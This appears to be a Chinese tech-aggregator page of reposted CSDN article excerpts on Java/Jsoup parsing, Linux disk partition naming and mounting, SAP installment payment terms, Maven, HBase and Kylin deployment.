openFile(String szFileName) {try {BufferedReader bis = new BufferedReader(new InputStreamReader(new FileInputStream(new File(szFileName)), ENCODE));String szContent = "";String szTemp;while ((szTemp = bis.readLine()) != null) {szContent += szTemp + "\n";}bis.close();return szContent;} catch (Exception e) {return "";} }/ 提取标签<a>a</a>内的内容 return a;/public static String getLinkTagContent(String link){String content="";Pattern pattern = Pattern.compile("<a[^>]>(.?)</a>");Matcher matcher = pattern.matcher(link);if(matcher.find()){content=matcher.group(1);}return content;}/ 解析Table标签内的东西 @param table/public static String getTableTagContent(String table){Map<String,String> conMap=new HashMap<String,String>();String content="";Document doc = Jsoup.parse(table);Elements elList=doc.getElementsByAttributeValue("class","cmn_table plumb");Element el=elList.first();Elements trLists = el.select("tr");for (int i = 0; i < trLists.size(); i++) {Elements tds = trLists.get(i).select("td");String key="";String val="";for (int j = 0; j < tds.size(); j++) {String text = tds.get(j).text();if(j==0){key=text; }else{val=text; } }conMap.put(key, val);content+="|"+key+"-"+val;// System.out.println(key+"-"+val);}return content;} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhaoguoshuai91/article/details/51802116。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-19 10:42:16
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HBase
...出实时决策或提供实时服务。文中提及HBase支持快速的数据插入和查询操作,这使得其非常适合应用于实时数据分析任务。 流式处理应用 , 流式处理是一种处理持续不断生成的数据流的计算范式,它允许数据在产生时立即进行处理,而非等待所有数据都收集完毕后一次性处理。文中指出,由于HBase能快速处理数据,因此对于需要对实时数据流进行连续分析和处理的应用场景非常适用。
2023-01-31 08:42:41
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青春印记-t
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 对hda1的解释: hd:IDE硬盘。如果是SCSI硬盘,则为sd,这个只能记住,没有更好的办法。 a:: 第一块硬盘。如果是第二块硬盘,则为b,依此类推c,d…… 1: 主分区。其中1,2,3,4都是主分区,从第5开始为逻辑分区,最大到16 磁盘容量与主分区、扩展分区、逻辑分区的关系: 硬盘的容量 = 主分区的容量 + 扩展分区的容量 扩展分区的容量 = 各个逻辑分区的容量之和 -------------------------------------- cd /mnt mkdir winc mkdir wind mkdir wine mount /dev/hda1 /mnt/winc mount /dev/hda5 /mnt/wind mount /dev/hda6 /mnt/wine 最多有4个主分区,所以逻辑分区从5开始 ---------------------------------------- 在linux的分区表示中,硬盘为hd,第一块硬盘为hda,第二块为hdb.一块硬盘最多可以分成四个主分区,dos主分区,dos扩展分区,linux根分区和linux交换分区都属于主分区,4个主分区分别用数字表示,如果是第一块硬盘,就 hda1,hda2,hda3和hda4. 在扩展分区上还可以分逻辑分区,标号从5往后依次排列.在windows中c盘为dos主分区,是hda1, d盘一般是dos扩展分区上的第一个逻辑分区, 是hda5, e为hda6, f为hda7等等. 在linux下可以通过mount命令挂栽windows分区到一个文件夹(这个文件夹称作挂载点),然后你可以通过这个文件夹访问windows分区. mount -t vfat /dev/hda1 /mnt/winc -o codepage=936 iocharset=936 顺便说一下挂载光盘和iso镜像和挂载U盘挂载U盘的命令: 挂载光盘和iso镜像 mount -t iso 9660 -o loop 名称.iso 挂载点 挂载U盘 mount -t vfat /dev/sda1 /mnt/usb 在網上碰到一耳光相關的問題,睇下啦: 在Linux中,分区为主分区、扩展分区和逻辑分区,使用fdisk –l命令获得分区信息如下所示: Disk /dev/hda:240 heads, 63 sectors, 140 cylinders Units=cylinders of 15120 512 bites Device Boot Start End Blocks Id System /dev/hda 1 286 2162128+ c Win95 FAT32(LBA) /dev/hda2 288 1960 12496680 5 Extended /dev/hda8 984 1816 6297448+ 83 Linux /dev/hda9 1817 1940 937408+ 83 Linux 其中,属于扩展分区的是 (5) 。 使用df -T命令获得信息部分如下所示: Filesystem Type 1k Blocks Used Avallable Use% Mounted on /dev/hda6 relserfs 4195632 2015020 2180612 49% / /dev/hda1 vfat 2159992 1854192 305800 86% /windows/c 其中,不属于Linux系统分区的是 (6) 。 答案: (5)/dev/hda2,(6)/dev/hda1 在Linux中对硬盘也有两种表示方法: 第一种方法:IDE接口中的整块硬盘在Linux系统中表示为/dev/hd[a-z],比如/dev/hda,/dev/hdb ... ... 以此类推,有时/dev/hdc可能表示的是CDROM 。这种方法实际表示了硬盘的物理位置,只要硬盘的连接位置不变,标号也不会发生变化。 对于/dev/hda 类似的表示方法,也并不陌生吧;我们在Linux通过fdisk -l 就可以查到硬盘是/dev/hda还是/dev/hdb。 另一种表示方法是:hd[0-n] ,其中n是一个正整数,比如hd0,hd1,hd2 ... ... hdn ;数字从0开始,按照BIOS中发现硬盘的顺序排列,如果机器中只有一块硬盘,无论我们通过fdisk -l 列出的是/dev/hda 还是/dev/hdb ,都是hd0;如果机器中存在两个或两个以上的硬盘,第一个硬盘/dev/hda 另一种方法表示为hd0,第二个硬盘/dev/hdb,另一种表法是hd1 。 现在新的机器,在BIOS 中,在启动盘设置那块,硬盘是有hd0,hd1之类的,这就是硬盘表示方法的一种。 在Linux中,对SATA和SCSI接口的硬盘的表示方法和IDE接口的硬盘相同,只是把hd换成sd;如您的机器中比如有一个硬盘是/dev/hda ,也有一个硬盘是/dev/sda ,那/dev/sda的硬盘应该是sd0; 具体每个分区用(sd[0-n],y)的表示方法和IDE接口中的算法相同,比如/dev/sda1 就是(sd0,0)。 >>>以下来自百度百科 磁盘及分区 设备管理 在 Linux 中,每一个硬件设备都映射到一个系统的文件,对于硬盘、光驱等 IDE 或 SCSI 设备也不例外。 Linux 把各种 IDE 设备分配了一个由 hd 前缀组成的文件;而对于各种 SCSI 设备,则分配了一个由 sd 前缀组成的文件。 例如,第一个 IDE 设备,Linux 就定义为 hda;第二个 IDE 设备就定义为 hdb;下面以此类推。而 SCSI 设备就应该是 sda、sdb、sdc 等。 分区数量 要进行分区就必须针对每一个硬件设备进行操作,这就有可能是一块IDE硬盘或是一块SCSI硬盘。对于每一个硬盘(IDE 或 SCSI)设备,Linux 分配了一个 1 到 16 的序列号码,这就代表了这块硬盘上面的分区号码。 例如,第一个 IDE 硬盘的第一个分区,在 Linux 下面映射的就是 hda1,第二个分区就称作是 hda2。对于 SCSI 硬盘则是 sda1、sdb1 等。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39713578/article/details/111950574。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-26 12:47:34
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2023-09-27 17:37:26
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2023-04-03 21:03:06
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 在前期的推文《SAP软件付款条件的配置及应用介绍》中详细介绍了付款条件的配置及应用,那篇文章中提到了分期付款,但没有展开详细的介绍说明,今天在此文中补充上。 我们知道付款条件配置好后,在做发票凭证时候可以输入付款条件,但是那个付款条件的字段只能输入一个值(如下图) 那么如果遇到一笔款项要分多期支付,并且每一期对应的付款条件不同,比如公司要支付供应商10000元,但和供应商商定可以分三期支付,一期支付20%,对应的付款条件为Z001,二期支付30%,对应的付款条款为Z002,三期支付剩余50%,对应的付款条件为Z003。 SAP如何处理上面这样的业务场景? SAP软件发票凭证录入界面的付款条件字段只能输入一个付款条件代码,我们可以想象下系统要处理这样的分期付款,那么这个付款条件代码就必须能关联到三个不同的付款条件,即它要包含三个具体的付款条件,SAP软件也就是基于这样逻辑设计的,所以对于分期付款的付款条件可以把它看做是一个付款条件组,它包含了三个具体的付款条款(如下图)。 详细信息直接访问下面链接吧,懒得一点点粘贴了 https://mp.weixin.qq.com/s/WnUEKH5TpoQjsFM66E1Yxg 推荐阅读: 《DEMO:接口以XML为入参》 《DEMO:接口以Json为入参》 《Odata 增删改查详例》 《ODATA CREATE_DEEP_ENTITY 详例》 《RESTful DEMO 一:SAP 如何提供 RESTful Web 服务》 《RESTful DEMO 四 :增删改查及调用》 《十年老码农搬砖习惯和技巧》 《我这个老码农是怎么debug标准程序的》 《我是怎样调试BAPI的,以F-02为例》 《动态批量修改任意表任意字段的值》 《动态获取查询条件的一个小Demo》 《使用cl_gui_docking_container 实现多ALV》 《VOFM 修改 组单开票时 会计凭拆分规则》 《DEMO SUBMIT 某程序并获取该程序ALV数据》 《DEMO:S/4 1809 FAGLL03H 增加字段增强》 《几个ABAP实用模板,体力活就别一行行敲了,复制粘贴得了》 《DEMO:BTE增强实现凭证创建检查》 《SAP Parallel Accounting(平行分类账业务)配置+操作手册+BAPI demo程序》 《CC02修改确认日期BAPI:Processing of change number was canceled》 《我是怎样调试BAPI的,以F-02为例》 《女儿的部分书单》 《推荐几本小说吧,反正过年闲着也是闲着,看看呗》 《我是不是被代码给耽误了……不幸沦为一名程序员……》 《三亚自由行攻略(自己穷游总结)》 《苏州游记》 《杂谈:说走就走的旅行没那么难》 《溜达:无锡》 《记码农十周年(20110214--20210214)》 《不一样的SAP干货铺群:帅哥靓妹、红包、烤羊腿!》 《杂谈:几种接口》 《干货来袭:2020年公众号内容汇总》 《DEMO search help 增强 ( vl03n KO03 等)》 《录BDC时 弹出的公司代码框问题》 《动态获取查询条件的一个小Demo》 《动态批量修改任意表任意字段的值》 WDA Demo WDA DEMO 0:开启服务 设置hosts WDA DEMO 02: 简单介绍 WDA DEMO 03: 根据选择条件查询并显示 WDA DEMO 04: select options 查询并显示 WDA DEMO 05:两个table联动展示数据 WDA DEMO 06: 创建事务代码 WDA DEMO 07 页面跳转及全局变量的使用 WDA DEMO 08 全局变量方式二 WDA DEMO 09 ALV 简单展示 WDA DEMO 1:简单查询并显示结果 WDA DEMO 10 代码模块化整理 WDA DEMO 11 根据BAPI/Function创建WDA Debug 系列 DEBUG 系列一:Dump debug DEBUG 系列二:Configure Debugger Layer DEBUG系列三:使用 F9 和 watch point DEBUG系列四:第三方接口debug DEBUG系列五:Update 模式下的function debug DEBUG系列六:后台JOB debug DEBUG系列七:保存测试参数 DEBUG系列八:Debug弹出框 debug系列九:SM13查看update更新报错 DEBUG系列十:Smartforms debug DEBUG系列十一:GGB1 debug Debug系列十二:QRFC 队列 debug 本篇文章为转载内容。原文链接:https://blog.csdn.net/senlinmu110/article/details/122086258。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-12 21:25:44
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Maven
...报错。 同时,随着微服务架构的普及,Maven在多模块项目管理和持续集成/持续部署(CI/CD)流程中的角色更加重要。例如,可以研究如何利用Maven的聚合与继承特性组织大型项目结构,或者结合Jenkins、GitLab CI等工具实现自动化构建和测试。另外,对于企业级开发环境,配置并使用Nexus或Artifactory作为私有Maven仓库,既能提高依赖下载速度,又能增强内部组件复用及版本管理能力。 此外,针对Maven依赖冲突这一常见问题,可参考行业专家撰写的深度分析文章,了解如何通过Maven Enforcer插件强制执行依赖规则,以及Gradle等其他构建工具在解决类似问题上的不同策略,从而拓宽视野,提升项目构建效率和稳定性。 总之,不断跟进Maven的新特性、最佳实践以及相关领域的前沿知识,将有助于我们更好地驾驭这款强大的项目管理工具,有效避免和解决实际开发中可能遇到的各种复杂问题。
2024-02-05 11:45:22
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心灵驿站_t
Kylin
...遇到的一个主要问题是服务之间的依赖关系。Kylin依赖于Hadoop和HBase,如果这些服务没有正确配置,Kylin将无法启动。要搞定这个问题,就得细细排查每个服务的状况,确保它们都乖乖地在运转着。 bash 检查Hadoop服务状态 sudo systemctl status hadoop-hdfs-namenode 部署完成后,监控Kylin的运行状态变得非常重要。Kylin提供了Web界面和日志文件两种方式来进行监控。你可以直接在网页上看到Kylin的各种数据指标,就像看仪表盘一样。至于Kylin的操作记录嘛,就都记在日志文件里头了。我经常使用日志文件来排查问题,因为它能提供更多的上下文信息。 bash 查看Kylin日志文件 tail -f /opt/kylin/logs/kylin.log 结语 通过这次分享,我希望能让大家对Kylin的配置与部署有一个更全面的理解。尽管在过程中会碰到各种难题,但只要咱们保持耐心,不断学习和探索,肯定能找到解决的办法。Kylin 的厉害之处就在于它超级灵活,还能随意扩展,这正是我们在大数据分析里头求之不得的呢。希望你们在使用Kylin的过程中也能感受到这份乐趣! --- 希望这篇技术文章对你有所帮助!如果你有任何疑问或需要进一步的帮助,请随时联系我。
2024-12-31 16:02:29
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诗和远方
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2023-01-21 13:56:11
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